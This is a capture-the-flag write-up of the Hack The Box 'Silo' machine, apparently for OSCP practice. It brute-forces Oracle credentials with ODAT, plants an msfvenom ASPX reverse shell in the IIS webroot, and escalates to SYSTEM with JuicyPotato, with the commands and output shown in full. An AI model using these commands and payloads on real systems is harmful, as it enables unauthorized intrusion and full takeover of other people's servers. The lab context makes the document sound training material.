SILO

In this practice box from Hack The Box (HTB), we explore one of the machines from TJNull’s list, which is widely recognized as part of the essential preparation for the Offensive Security Certified Professional (OSCP) exam. TJNull’s curated list is designed to help individuals hone their penetration testing skills and get accustomed to the types…


Enumeration


Nmap scan

# Nmap 7.94 scan initiated Thu Nov  9 04:56:11 2023 as: nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -oN /home/kali/HTB/silo/results/10.10.10.82/scans/_quick_tcp_nmap.txt -oX /home/kali/HTB/silo/results/10.10.10.82/scans/xml/_quick_tcp_nmap.xml 10.10.10.82
Nmap scan report for 10.10.10.82
Host is up, received user-set (0.28s latency).
Scanned at 2023-11-09 04:56:24 EST for 190s
Not shown: 987 closed tcp ports (conn-refused)
PORT      STATE SERVICE      REASON  VERSION
80/tcp    open  http         syn-ack Microsoft IIS httpd 8.5
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/8.5
135/tcp   open  msrpc        syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds syn-ack Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp  open  oracle-tns   syn-ack Oracle TNS listener 11.2.0.2.0 (unauthorized)
8080/tcp  open  http         syn-ack Oracle XML DB Enterprise Edition httpd
|_http-server-header: Oracle XML DB/Oracle Database
|_http-title: 400 Bad Request
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=XDB
49152/tcp open  msrpc        syn-ack Microsoft Windows RPC
49153/tcp open  msrpc        syn-ack Microsoft Windows RPC
49154/tcp open  msrpc        syn-ack Microsoft Windows RPC
49155/tcp open  msrpc        syn-ack Microsoft Windows RPC
49159/tcp open  oracle-tns   syn-ack Oracle TNS listener (requires service name)
49160/tcp open  msrpc        syn-ack Microsoft Windows RPC
49161/tcp open  msrpc        syn-ack Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-11-09T09:59:28
|_  start_date: 2023-11-09T09:55:38
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: supported
| smb2-security-mode: 
|   3:0:2: 
|_    Message signing enabled but not required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 52707/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 36267/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 38458/udp): CLEAN (Failed to receive data)
|   Check 4 (port 60673/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 0s, deviation: 0s, median: 0s

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov  9 04:59:34 2023 -- 1 IP address (1 host up) scanned in 204.20 seconds

Enumerate Oracle TNS Listener and there is an exploit walkthrough on hacktricks

Using a checker, we see this box is vulnerable

╭─kali@kali ~/HTB/silo/oracle-tns-poison ‹master●› 
╰─$ python2 ./check_tns_poison.py 10.10.10.82 1521                                                                                                                         1 ↵
[*] [Optional] In another terminal execute the following command (replace eth0 with your network interface):
	tshark -i eth0 -f 'host 10.10.10.82 and tcp port 1521'

Press [Enter] to continue

[*] Sending initial buffer ...

h9,.:�

      (CONNECT_DATA=(COMMAND=service_register_NSGR))


[*] Recevied following data:

49� 
(DESCRIPTION=(TMP=))

[+] Perform the following checks (for port 1521 only):
	[+] Check in tshark/wireshark for TNS packets.
		[-] Target is vulnerable if TNS packet has ACCEPT.
		[-] Target is not vulnerable if TNS packet has REFUSE.

[+] Found 'Accept' in the received response.
	[-] Target is vulnerable.
╭─kali@kali ~/HTB/silo/oracle-tns-poison ‹master●› 
╰─$ 


ODAT — Oracle database tool


I installed this in OPT

╭─kali@kali ~/opt/odat ‹master-python3› 
╰─$ ./odat.py all  -s 10.10.10.82

[+] Checking if target 10.10.10.82:1521 is well configured for a connection...
[+] According to a test, the TNS listener 10.10.10.82:1521 is well configured. Continue...

[1] (10.10.10.82:1521): Is it vulnerable to TNS poisoning (CVE-2012-1675)?
[+] Impossible to know if target is vulnerable to a remote TNS poisoning because SID is not given.

[2] (10.10.10.82:1521): Searching valid SIDs
[2.1] Searching valid SIDs thanks to a well known SID list on the 10.10.10.82:1521 server
[+] 'XE' is a valid SID. Continue...                                          ############################################################################################################################################################################################################################################################    | ETA:  00:00:03 
100% |########################################################################################################################################################################################################################################################################################################################################| Time: 00:06:57 
[2.2] Searching valid SIDs thanks to a brute-force attack on 1 chars now (10.10.10.82:1521)
100% |########################################################################################################################################################################################################################################################################################################################################| Time: 00:00:13 
[2.3] Searching valid SIDs thanks to a brute-force attack on 2 chars now (10.10.10.82:1521)
[+] 'XE' is a valid SID. Continue...                                          ############################################################################################################################################################################################################################                                    | ETA:  00:00:40 
100% |########################################################################################################################################################################################################################################################################################################################################| Time: 00:06:15 
[+] SIDs found on the 10.10.10.82:1521 server: XE

[3] (10.10.10.82:1521): Searching valid Service Names
[3.1] Searching valid Service Names thanks to a well known Service Name list on the 10.10.10.82:1521 server
[+] 'XE' is a valid Service Name. Continue...                                 ############################################################################################################################################################################################################################################################    | ETA:  00:00:03 
[+] 'XEXDB' is a valid Service Name. Continue...                              
100% |########################################################################################################################################################################################################################################################################################################################################| Time: 00:07:02 
[3.2] Searching valid Service Names thanks to a brute-force attack on 1 chars now (10.10.10.82:1521)
100% |########################################################################################################################################################################################################################################################################################################################################| Time: 00:00:13 
[3.3] Searching valid Service Names thanks to a brute-force attack on 2 chars now (10.10.10.82:1521)
[+] 'XE' is a valid Service Name. Continue...                                 ############################################################################################################################################################################################################################                                    | ETA:  00:00:40 
100% |########################################################################################################################################################################################################################################################################################################################################| Time: 00:06:15 
[+] Service Name(s) found on the 10.10.10.82:1521 server: XE,XEXDB
[!] Notice: SID 'XE' found. Service Name 'XE' found too: Identical database instance. Removing Service Name 'XE' from Service Name list in order to don't do same checks twice

[4] (10.10.10.82:1521): Searching valid accounts on the XE SID
The login cis has already been tested at least once. What do you want to do:                                                                                                                                                                                                                                                                  | ETA:  00:22:29 
- stop (s/S)
- continue and ask every time (a/A)
- skip and continue to ask (p/P)
- continue without to ask (c/C)
c
[!] Notice: 'ctxsys' account is locked, so skipping this username for password                                                                                                                                                                                                                                                                | ETA:  01:54:45 
[!] Notice: 'dbsnmp' account is locked, so skipping this username for password                                                                                                                                                                                                                                                                | ETA:  01:43:13 
[!] Notice: 'dip' account is locked, so skipping this username for password######                                                                                                                                                                                                                                                             | ETA:  01:28:44 
[!] Notice: 'hr' account is locked, so skipping this username for password###############################################                                                                                                                                                                                                                     | ETA:  00:55:07 
[!] Notice: 'mdsys' account is locked, so skipping this username for password##########################################################################################                                                                                                                                                                       | ETA:  00:34:47 
[!] Notice: 'oracle_ocm' account is locked, so skipping this username for password########################################################################################################################                                                                                                                                    | ETA:  00:24:28 
[!] Notice: 'outln' account is locked, so skipping this username for password##########################################################################################################################################                                                                                                                       | ETA:  00:21:17 
[+] Valid credentials found: scott/tiger. Continue...                         ##############################################################################################################################################################################################                                                                  | ETA:  00:10:33 
[!] Notice: 'xdb' account is locked, so skipping this username for password#####################################################################################################################################################################################################################################################              | ETA:  00:01:56 
100% |########################################################################################################################################################################################################################################################################################################################################| Time: 00:47:49 
[+] Accounts found on 10.10.10.82:1521/sid:XE: 
scott/tiger


[5] (10.10.10.82:1521): Searching valid accounts on the XEXDB Service Name
The login abm has already been tested at least once. What do you want to do:                                                                                                                                                                                                                                                                  | ETA:  --:--:-- 
- stop (s/S)
- continue and ask every time (a/A)
- skip and continue to ask (p/P)
- continue without to ask (c/C)
c
[!] Notice: 'ctxsys' account is locked, so skipping this username for password                                                                                                                                                                                                                                                                | ETA:  00:28:04 
[!] Notice: 'dbsnmp' account is locked, so skipping this username for password                                                                                                                                                                                                                                                                | ETA:  00:26:39 
[!] Notice: 'dip' account is locked, so skipping this username for password######                                                                                                                                                                                                                                                             | ETA:  00:24:46 
[!] Notice: 'hr' account is locked, so skipping this username for password###############################################                                                                                                                                                                                                                     | ETA:  00:19:19 
[!] Notice: 'mdsys' account is locked, so skipping this username for password##########################################################################################                                                                                                                                                                       | ETA:  00:14:26 
[!] Notice: 'oracle_ocm' account is locked, so skipping this username for password########################################################################################################################                                                                                                                                    | ETA:  00:11:06 
[!] Notice: 'outln' account is locked, so skipping this username for password##########################################################################################################################################                                                                                                                       | ETA:  00:09:56 
[+] Valid credentials found: scott/tiger. Continue...                         ##############################################################################################################################################################################################                                                                  | ETA:  00:05:25 
[!] Notice: 'xdb' account is locked, so skipping this username for password#####################################################################################################################################################################################################################################################              | ETA:  00:01:04 
100% |#################################################################################################################################################################################################################################################

Found Creds Scott/tiger on the XE SD

ODAT WIKI –> https://github.com/quentinhardy/odat/wiki/all


uploading files


Reverse shell – ASPX

─kali@kali ~/HTB/silo 
╰─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.16 LPORT=443 EXITFUNC=thread -f aspx -o shell.aspx                                                            1 ↵
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of aspx file: 3405 bytes
Saved as: shell.aspx

from hattricks

./odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger --putFile "C:\inetpub\wwwroot\\" shell.aspx /home/kali/HTB/silo/shell.aspx --sysdba


Run this command with odat to upload

╰─$ ./odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger --putFile "C:\inetpub\wwwroot\\" shell.aspx /home/kali/HTB/silo/shell.aspx --sysdba

[1] (10.10.10.82:1521): Put the /home/kali/HTB/silo/shell.aspx local file in the C:\inetpub\wwwroot\ path (named shell.aspx) of the 10.10.10.82 server
[+] The /home/kali/HTB/silo/shell.aspx local file was put in the remote C:\inetpub\wwwroot\ path (named shell.aspx)
╭─kali@kali ~/opt/odat ‹master-python3●› 

Reverse shell

╰─$ nc -nlvp 443                                                
listening on [any] 443 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.10.82] 49163
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami

We see we have setimpersonatepriv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

We will try juicy potato. We serve all files from kali

╭─kali@kali ~/HTB/silo 
╰─$ ls
20980.c        ferox-http_10_10_10_82:80_-1699523677.state  odat               proxy.py  shell2.exe  shell.exe
CVE-2012-1675  JuicyPotato.exe                              oracle-tns-poison  results   shell.aspx  tnspoisonv1.py
╭─kali@kali ~/HTB/silo 
╰─$ rm shell2.exe 
╭─kali@kali ~/HTB/silo 
╰─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.16 LPORT=444 EXITFUNC=thread -f exe -o shell2.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: shell2.exe
╭─kali@kali ~/HTB/silo 
╰─$ serve 900
The tun0 IP is 10.10.14.16 and the eth0 IP is 192.168.1.4.
Starting HTTP server on port 900...
Serving HTTP on 0.0.0.0 port 900 (http://0.0.0.0:900/) ...
10.10.10.82 - - [10/Nov/2023 06:12:25] "GET /JuicyPotato.exe HTTP/1.1" 200 -
10.10.10.82 - - [10/Nov/2023 06:12:28] "GET /JuicyPotato.exe HTTP/1.1" 200 -
10.10.10.82 - - [10/Nov/2023 06:12:40] "GET /shell2.exe HTTP/1.1" 200 -
10.10.10.82 - - [10/Nov/2023 06:12:41] "GET /shell2.exe HTTP/1.1" 200 -
10.10.10.82 - - [10/Nov/2023 06:17:39] "GET /JuicyPotato.exe HTTP/1.1" 200 -
10.10.10.82 - - [10/Nov/2023 06:17:41] "GET /JuicyPotato.exe HTTP/1.1" 200 -
10.10.10.82 - - [10/Nov/2023 06:18:33] "GET /JuicyPotato.exe HTTP/1.1" 200 -
10.10.10.82 - - [10/Nov/2023 06:18:35] "GET /JuicyPotato.exe HTTP/1.1" 200 -

we run juicy potato and get the shell

c:\TEMP>JuicyPotato.exe -t * -p C:\temp\shell2.exe -l 444
JuicyPotato.exe -t * -p C:\temp\shell2.exe -l 444
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 444
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\TEMP>cd .. 

and

╭─kali@kali ~/HTB/silo 
╰─$ nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.10.82] 49180
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>cd ../
cd ../

C:\Windows>